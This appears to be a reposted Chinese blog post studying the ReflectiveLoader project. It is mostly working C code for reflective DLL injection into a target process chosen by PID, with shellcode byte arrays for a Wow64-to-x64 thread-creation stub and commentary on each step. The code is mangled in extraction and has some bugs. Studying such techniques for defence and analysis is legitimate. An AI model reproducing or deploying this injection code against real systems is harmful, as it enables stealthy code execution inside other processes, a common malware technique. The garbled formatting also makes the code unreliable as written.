远程线程的注入 PE的修正
2021-01-16 16:12
标签:ssi syn bre wmi over struct handle idt rar https://bbs.pediy.com/thread-222187.htm 从github上下载了ReflectiverLoader认真学习了一下 在代码中得到一些心得和自己的想法,都按步骤写到了代码中,现在分享给大家,如有错,望大家指正 其中需要注入的dll和解析, 内存RVA与 文件RVA的转换代码(汇编与c++的都有)和解析,shellcode的汇编附到最后的链接中 一.这是用到的shellocode 作用:经调试得出他是为了解决x86下运行x64 的问题(windbg可以看到是通过远跳转到x64下执行) 二.用到的结构体 宏定义和哈希值(利用MakeHanValue计算就行,代码中有小注释) 三.主函数的解析 四. LoadRemoteLibrary的解读(其中三种获得目标体系结构的方法 我记入了笔记) 五. Wow64CreateRemoteThread解读 ========== End 远程线程的注入 PE的修正 标签:ssi syn bre wmi over struct handle idt rar 原文地址:https://www.cnblogs.com/lsgxeva/p/12923973.html远程线程的注入 PE的修正
static BYTE __ExecutexX64[]
=
"\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24"
;
static BYTE __FunctionX64[]
=
"\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"
"\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48"
"\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9"
"\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C"
"\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00"
"\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40"
"\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6"
"\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0"
"\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40"
"\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0"
"\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58"
"\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A"
"\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D"
"\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01"
"\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8"
"\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00"
"\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00"
"\x48\x83\xC4\x50\x48\x89\xFC\xC3"
;
#define MYFUNCTION_HASH 0x6654bba6 // hash of "MyFunction"
enum {
UNKNOWN,
X86,
X64
};
#define DEREFERENCE (Value) *(UINT_PTR *)(Value)
#define DEREFERENCE_64(Value) *(DWORD64 *)(Value)
#define DEREFERENCE_32(Value) *(DWORD *)(Value)
#define DEREFERENCE_16(Value) *(WORD *)(Value)
#define DEREFERENCE_8 (Value) *(BYTE *)(Value)
typedef
BOOL
(WINAPI
*
LPFN_ISWOW64PROCESS) (HANDLE, PBOOL);
typedef
BOOL
(WINAPI
*
LPFN_FUNCTIONX64)(DWORD ParameterData);
typedef DWORD(WINAPI
*
LPFN_EXECUTEX64)(LPFN_FUNCTIONX64 FunctionX64, DWORD ParameterData);
typedef struct _WOW64CONTEXT_
{
union
{
HANDLE ProcessHandle;
BYTE Padding[
8
];
}u1;
union
{
LPVOID ThreadProcedure;
BYTE Padding[
8
];
}u2;
union
{
LPVOID ParameterData;
BYTE Padding[
8
];
}u3;
union
{
HANDLE ThreadHandle;
BYTE Padding[
8
];
}u4;
} WOW64CONTEXT,
*
LPWOW64CONTEXT;
int
main()
{
HANDLE FileHandle
=
NULL;
ULONG FileLength
=
0
;
LPVOID FileData
=
NULL;
ULONG ReturnLength
=
0
;
HANDLE ProcessHandle
=
NULL;
HANDLE RemoteThreadHandle
=
NULL;
DWORD ExitCode
=
0
;
if
(EnableSeDebugPrivilege(L
"SeDebugPrivilege"
, TRUE)
=
=
FALSE)
{
return
0
;
}
DWORD ProcessID
=
0
;
printf(
"Input ProcessID:\r\n"
);
scanf(
"%d"
, &ProcessID);
#ifdef_WIN64
char
*
DllFullPath
=
"ReflectiveLoader.dll"
;
#else
char
*
DllFullPath
=
"ReflectiveLoader.dll"
;
#endif
/
/
1.
打开文件
FileHandle
=
CreateFileA(DllFullPath, GENERIC_READ,
0
, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if
(FileHandle
=
=
INVALID_HANDLE_VALUE)
{
printf(
"CreateFileA() Error\r\n"
);
goto Exit;
}
/
/
2.
获得大小
FileLength
=
GetFileSize(FileHandle, NULL);
if
(FileLength
=
=
INVALID_FILE_SIZE || FileLength
=
=
0
)
{
printf(
"GetFileSize() Error\r\n"
);
goto Exit;
}
/
/
3.
申请堆内存
FileData
=
HeapAlloc(GetProcessHeap(),
0
, FileLength);
if
(!FileData)
{
printf(
"HeapAlloc() Error\r\n"
);
goto Exit;
}
/
/
4.
读内存
if
(ReadFile(FileHandle, FileData, FileLength, &ReturnLength, NULL)
=
=
FALSE)
{
printf(
"HeapAlloc() Error\r\n"
);
goto Exit;
}
/
/
以下是对目标进行操作
/
/
5.
打开目标进程
ProcessHandle
=
OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, ProcessID);
if
(!ProcessHandle)
{
printf(
"OpenProcess() Error\r\n"
);
goto Exit;
}
/
/
6.
加载动态库
RemoteThreadHandle
=
LoadRemoteLibrary(ProcessHandle, FileData, FileLength, NULL,MYFUNCTION_HASH,(LPVOID)
"911"
,strlen(
"911"
)
+
1
);
if
(!RemoteThreadHandle)
{
printf(
"LoadRemoteLibrary() Error\r\n"
);
goto Exit;
}
printf(
"LoadRemoteLibrary() Success\r\n"
);
/
/
7.
远程线程等待注入
WaitForSingleObject(RemoteThreadHandle, INFINITE);
if
(!GetExitCodeThread(RemoteThreadHandle, &ExitCode))
printf(
"Input AnyKey To Exit\r\n"
);
getchar();
/
/
8.
释放内存
Exit:
if
(FileData)
{
HeapFree(GetProcessHeap(),
0
, FileData);
}
if
(FileHandle!
=
NULL)
{
CloseHandle(FileHandle);
FileHandle
=
NULL;
}
if
(ProcessHandle)
{
CloseHandle(ProcessHandle);
ProcessHandle
=
NULL;
}
return
0
;
}
HANDLEWINAPI LoadRemoteLibrary(
HANDLEProcessHandle,
LPVOIDFileData,
/
/
Dll文件数据
DWORDFileLength,
LPVOIDParameterData,
DWORDFunctionHash,
/
/
函数哈希值
LPVOIDUserData,
DWORDUserDataLength)
{
HANDLE RemoteThreadHandle
=
NULL;
DWORD RemoteThreadID
=
0
;
DWORD TargetArchitecture
=
X86;
/
/
目标体系结构
DWORD DllArchitecture
=
UNKNOWN;
#ifdefined(_WIN64)
DWORD CurrentArchitecture
=
X64;
#elifdefined(_WIN32)
DWORD CurrentArchitecture
=
X86
#else
#endif
__try
{
do
{
if
(!ProcessHandle || !FileData || !FileLength)
{
break
;
}
/
/
第一幕
/
/
1.
获得目标进程的Architecture 进程通过内核获得体系结构
HMODULE KernelModuleBase
=
LoadLibraryA(
"kernel32.dll"
);
if
(!KernelModuleBase)
break
;
__IsWow64Process
=
(LPFN_ISWOW64PROCESS)GetProcAddress(KernelModuleBase,
"IsWow64Process"
);
FreeLibrary(KernelModuleBase);
if
(__IsWow64Process)
{
BOOL
IsOK;
if
(!__IsWow64Process(ProcessHandle, &IsOK));
{
break
;
}
if
(IsOK)
{
TargetArchitecture
=
X86;
}
else
{
/
/
通过系统判断
32
位与
64
位
SYSTEM_INFO SystemInfo
=
{
0
};
GetNativeSystemInfo(&SystemInfo);
if
(SystemInfo.wProcessorArchitecture
=
=
PROCESSOR_ARCHITECTURE_AMD64)
TargetArchitecture
=
X64;
elseif (SystemInfo.wProcessorArchitecture
=
=
PROCESSOR_ARCHITECTURE_INTEL)
TargetArchitecture
=
X86;
else
break
;
}
}
/
/
2.
通过PE获得获得Dll的Architecture
/
/
MZ头
+
e_lfanew
=
NT头
PIMAGE_NT_HEADERS ImageNtHeaders
=
(PIMAGE_NT_HEADERS)(((PUINT8)FileData)
+
((PIMAGE_DOS_HEADER)FileData)
-
>e_lfanew);
if
(ImageNtHeaders
-
>OptionalHeader.Magic
=
=
IMAGE_NT_OPTIONAL_HDR32_MAGIC)
/
/
PE32
DllArchitecture
=
X86;
elseif (ImageNtHeaders
-
>OptionalHeader.Magic
=
=
IMAGE_NT_OPTIONAL_HDR64_MAGIC)
/
/
PE64
DllArchitecture
=
X64;
/
/
3.
判断DLL和目标进程是否是相同的架构??
if
(DllArchitecture !
=
TargetArchitecture)
{
printf(
"Must Be Same Architecture\r\n"
);
break
;
}
/
/
第二幕
/
/
1.
再次检查动态库的装入
/
/
check
if
the library has a ReflectiveLoader...
DWORD ReflectiveLoaderOffset
=
GetReflectiveLoaderOffset(FileData);
if
(!ReflectiveLoaderOffset)
{
printf(
"Could Not Get ReflectiveLoader Offset\r\n"
);
break
;
}
DWORD RemoteBufferLength
=
FileLength
+
UserDataLength
+
64
;
/
/
shellcode
buffer
/
/
2.alloc
memory (RWX)
in
the host process
for
the image...
LPVOID RemoteBufferData
=
VirtualAllocEx(ProcessHandle, NULL, RemoteBufferLength, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if
(!RemoteBufferData)
{
break
;
}
printf(
"VirtualAllocEx() Success\r\n"
);
/
/
3.1
write the image into the host process...将图像写入主进程。
/
/
RemoteBufferData 指向写入数据的指定进程中的基地址的指针
if
(!WriteProcessMemory(ProcessHandle, RemoteBufferData, FileData, FileLength, NULL))
break
;
/
/
基地址
+
偏移
ULONG_PTR ReflectiveLoader
=
(ULONG_PTR)RemoteBufferData
+
ReflectiveLoaderOffset;
/
/
3.2
write our userdata blob into the host process
ULONG_PTR RemoteUserData
=
(ULONG_PTR)RemoteBufferData
+
FileLength;
if
(!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteUserData, UserData, UserDataLength, NULL))
break
;
/
/
3.3
写shellcode
ULONG_PTR RemoteShellCode
=
RemoteUserData
+
UserDataLength;
BYTE Bootstrap[
64
]
=
{
0
};
DWORD BootstrapLength
=
CreateBootstrap(
Bootstrap,
64
,
TargetArchitecture,
(ULONG_PTR)ParameterData,
(ULONG_PTR)RemoteBufferData,
FunctionHash,
RemoteUserData,
UserDataLength,
ReflectiveLoader);
if
(BootstrapLength
=
0
)
{
break
;
}
printf(
"%p\r\n"
, RemoteShellCode);
getchar();
if
(!WriteProcessMemory(ProcessHandle, (LPVOID)RemoteShellCode, Bootstrap, BootstrapLength, NULL))
break
;
printf(
"Wrote ShellCode Success\r\n"
);
/
*
此处的写入图
RemoteBufferData[FileData的基地址]
写入FileData
RemoteUserData[UserData的基地址]
写入UserData
RemoteShellCode
写入Bootstrap
*
/
/
/
确保我们的更改是马上写的
FlushInstructionCache(ProcessHandle, RemoteBufferData, RemoteBufferLength);
printf(
"%p\r\n"
, RemoteShellCode);
getchar();
getchar();
/
/
第三幕 判断主体与客体的位 并且创建线程执行
/
/
目标
64
当前
32
if
(CurrentArchitecture
=
=
X86 && TargetArchitecture
=
=
X64)
{
Wow64CreateRemoteThread(ProcessHandle, (LPVOID)RemoteShellCode, ParameterData, &RemoteThreadHandle);
ResumeThread(RemoteThreadHandle);
}
else
{
/
/
目标
32
当前
32
/
/
目标
64
当前
64
/
/
目标
32
当前
64
RemoteThreadHandle
=
CreateRemoteThread(ProcessHandle, NULL,
1024
*
1024
,
(LPTHREAD_START_ROUTINE)RemoteShellCode, ParameterData,
(DWORD)NULL, &RemoteThreadID);
/
*
lpStartAddress [
in
]指向由线程执行的类型为LPTHREAD_START_ROUTINE的应用程序
定义函数的指针,并表示远程进程中线程的起始地址。该功能必须存在于远程进程中。
lpParameter [
in
]
指向要传递给线程函数的变量的指针。
*
/
}
}
while
(
0
);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
RemoteThreadHandle
=
NULL;
}
return
RemoteThreadHandle;
}
DWORD Wow64CreateRemoteThread(HANDLEProcessHandle, LPVOIDThreadProcedure, LPVOIDParameterData, HANDLE
*
ThreadHandle)
{
DWORD Result
=
ERROR_SUCCESS;
LPFN_EXECUTEX64 ExecuteX64
=
NULL;
LPFN_FUNCTIONX64 FunctionX64
=
NULL;
WOW64CONTEXT
*
Wow64Context
=
NULL;
OSVERSIONINFO OsVersionInfo
=
{
0
};
do
{
/
/
第一幕 判断系统是否合适
OsVersionInfo.dwOSVersionInfoSize
=
sizeof(OSVERSIONINFO);
if
(!GetVersionEx(&OsVersionInfo))
{
printf(
"GetVersionEx() Error\r\n"
);
break
;
}
/
/
filter
out Windows
2003
if
(OsVersionInfo.dwMajorVersion
=
=
5
&& OsVersionInfo.dwMinorVersion
=
=
2
)
{
printf(
"Is 2003 Error\r\n"
);
break
;
}
/
/
第二幕
/
/
1.
分别为ExecuteX64,FunctionX64申请shellcode大小的内存兵赋值
/
*
shellcode经过调试得出是通过远跳转到
64
位进程中执行 惭愧 瞎调了一遍还没有掌握调试方法 有点难。。。
*
/
ExecuteX64
=
(LPFN_EXECUTEX64)VirtualAlloc(NULL, sizeof(__ExecutexX64), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if
(!ExecuteX64)
{
printf(
"VirtualAlloc() Error\r\n"
);
break
;
}
FunctionX64
=
(LPFN_FUNCTIONX64)VirtualAlloc(NULL, sizeof(__FunctionX64)
+
sizeof(WOW64CONTEXT), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if
(!FunctionX64)
{
printf(
"VirtualAlloc() Error\r\n"
);
break
;
}
/
/
copy over the wow64
-
>x64 stub
memcpy(ExecuteX64, &__ExecutexX64, sizeof(__ExecutexX64));
/
/
copy over the native x64 function
memcpy(FunctionX64, &__FunctionX64, sizeof(__FunctionX64));
/
/
2.
设置上下背景文
Wow64Context
=
(WOW64CONTEXT
*
)((BYTE
*
)FunctionX64
+
sizeof(__FunctionX64));
Wow64Context
-
>u1.ProcessHandle
=
ProcessHandle;
/
/
目标进程句柄
Wow64Context
-
>u2.ThreadProcedure
=
ThreadProcedure;
Wow64Context
-
>u3.ParameterData
=
ParameterData;
Wow64Context
-
>u4.ThreadHandle
=
NULL;
/
/
3.
执行该代码的环境是
32
位
if
(!ExecuteX64(FunctionX64, (DWORD)Wow64Context))
{
printf(
"ExecuteX64() Error\r\n"
);
break
;
}
/
/
作为一个标识
if
(!Wow64Context
-
>u4.ThreadHandle)
{
printf(
"ThreadHandle Is NULL\r\n"
);
break
;
}
/
/
4.
成功! 从上下文中抓取新的线程句柄
*
ThreadHandle
=
Wow64Context
-
>u4.ThreadHandle;
}
while
(
0
);
/
/
5.
退出
if
(ExecuteX64)
{
VirtualFree(ExecuteX64,
0
, MEM_RELEASE);
ExecuteX64
=
NULL;
}
if
(FunctionX64)
{
VirtualFree(FunctionX64,
0
, MEM_RELEASE);
FunctionX64
=
NULL;
}
return
Result;
}